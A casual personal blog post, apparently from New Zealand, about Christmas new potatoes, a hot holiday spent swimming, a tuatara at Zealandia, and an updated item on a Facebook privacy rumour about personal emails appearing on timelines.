There’s something so very christmasey about new potatoes, freshly dug from your own garden.

Christmas was stinky hot all over the place — so we spent a chunk of christmas day in a swimming pool – had some fun with the water proof camera and a gopro.

check out this old lady – she was just chilling by the track in Zealandia.

Turatara are awesome because they’re dinosaurs — all their cousin are extinct but tuatara are still hanging out in the sun.

And because they have a vestigial 3rd eye in the middle of their heads… yes. THREE EYES.

Info about the “ALL MY PERSONAL EMAILS ARE ON MY TIMELINE” posts that are currently doing the rounds on Facebook… Seems it’s just another hoax/panic. (This time.) UPDATE: It now seems that while many people aren’t affected by this issue, enough evidence is coming through now to say that it’s a real issue. See this [...]